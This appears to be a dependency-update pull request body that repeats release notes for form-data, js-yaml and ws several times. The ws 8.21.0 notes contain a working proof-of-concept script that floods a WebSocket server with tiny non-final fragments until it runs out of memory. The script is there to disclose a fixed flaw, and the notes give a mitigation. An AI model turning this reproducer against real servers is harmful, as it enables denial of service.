Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

[3.14.2] - 2025-11-15

Security

• Backported v4.1.1 fix to v3

• See full diff in compare view

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

[3.14.2] - 2025-11-15

Security

• Backported v4.1.1 fix to v3

• See full diff in compare view

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

[3.14.2] - 2025-11-15

Security

• Backported v4.1.1 fix to v3

• See full diff in compare view

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

[3.14.2] - 2025-11-15

Security

• Backported v4.1.1 fix to v3

• See full diff in compare view

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

[3.14.2] - 2025-11-15

Security

• Backported v4.1.1 fix to v3

• See full diff in compare view

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

[3.14.2] - 2025-11-15

Security

• Backported v4.1.1 fix to v3

• See full diff in compare view

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, #280.
• Ensure numbers survive round-trip, #737.
• Fix test coverage for issue #221.
• Fix flow scalar trailing whitespace folding, #307.
• Fix digits in YAML named tag handles.

Security

• Fix potential DoS via quadratic complexity in merge - deduplicate repeated elements (makes sense for malformed files > 10K).

[3.14.2] - 2025-11-15

Security

• Backported v4.1.1 fix to v3

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Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
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Sourced from form-data's changelog.

v4.0.6 - 2026-06-12

Commits

• [Fix] escape CR, LF, and " in field names and filenames 8dff42c
• [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape f31d21e
• [Deps] update hasown, mime-types 92ae0eb
• [Dev Deps] update js-randomness-predictor 67b0f65

v4.0.5 - 2025-11-17

Commits

• [Tests] Switch to newer v8 prediction library; enable node 24 testing 16e0076
• [Dev Deps] update @ljharb/eslint-config, eslint 5822467
• [Fix] set Symbol.toStringTag in the proper place 76d0dee

• 64190db v4.0.6
• 92ae0eb [Deps] update hasown, mime-types
• f31d21e [Dev Deps] update @ljharb/eslint-config, auto-changelog, tape
• 8dff42c [Fix] escape CR, LF, and " in field names and filenames
• 67b0f65 [Dev Deps] update js-randomness-predictor
• 68ff7dd v4.0.5
• 5822467 [Dev Deps] update @ljharb/eslint-config, eslint
• 76d0dee [Fix] set Symbol.toStringTag in the proper place
• 16e0076 [Tests] Switch to newer v8 prediction library; enable node 24 testing
• See full diff in compare view

Sourced from js-yaml's changelog.

[4.2.0] - 2026-06-01

Added

• Added docs/safety.md with notes about processing untrusted YAML.
• Added maxDepth (100) loader option. Not a problem, but gives a better exception instead of RangeError on stack overflow.
• Added maxMergeSeqLength (20) loader option. Not a problem after merge fix, but an additional restriction for safety.
• Added sourcemaps to dist/ builds.

Changed

• Stop resolving numbers with underscores as numeric scalars, #627.
• Switched dev toolchains to Vite / neostandard.
• Updated demo.
• Reorganized tests.
• dist/ files are no longer kept in the repository.

Fixed

• Fix parsing of properties on the first implicit block mapping key, #62.
• Fix trailing whitespace handling when folding flow scalar lines, #307.
• Reject top-level block scalars without content indentation, Description has been truncated